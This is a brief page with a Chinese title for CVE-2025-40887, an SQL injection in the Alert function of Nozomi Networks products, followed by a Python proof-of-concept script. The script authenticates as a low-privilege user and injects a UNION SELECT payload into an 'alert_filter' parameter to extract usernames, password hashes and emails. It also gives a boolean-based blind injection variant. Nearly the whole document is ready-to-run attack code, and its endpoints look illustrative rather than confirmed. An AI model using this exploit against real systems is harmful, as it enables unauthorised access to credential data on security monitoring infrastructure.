CVE-2025-40887 Nozomi Networks产品Alert功能SQL注入漏洞

# CVE-2025-40887 - Nozomi Networks Alert Functionality SQL Injection PoC # Vulnerability: SQL Injection via improper input validation in Alert functionality # Required: Authenticated session with low-privilege credentials import requests TARGET_URL = "https://target-nozomi-instance/api/alerts" USERNAME = "low_priv_user" PASSWORD = "password123" # Step 1: Authenticate to obtain session cookie session = requests.Session() login_payload = { "username": USERNAME, "password": PASSWORD } session.post(f"{TARGET_URL}/login", data=login_payload) # Step 2: Inject malicious SQL into the vulnerable Alert parameter # The 'alert_filter' parameter is vulnerable to SQL injection sql_injection_payload = { "alert_filter": "1' UNION SELECT username,password_hash,email FROM users--", "limit": "10" } # Step 3: Send the crafted request to extract sensitive data response = session.post(f"{TARGET_URL}/search", data=sql_injection_payload) # Step 4: Parse the response to extract leaked data if response.status_code == 200: print("[+] SQL Injection successful!") print("[+] Leaked data:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") # Alternative boolean-based blind SQL injection payload blind_payload = { "alert_filter": "1' AND 1=1--", # True condition # "alert_filter": "1' AND 1=2--", # False condition for comparison "limit": "10" } response = session.post(f"{TARGET_URL}/search", data=blind_payload) print(f"[+] Response length: {len(response.text)}")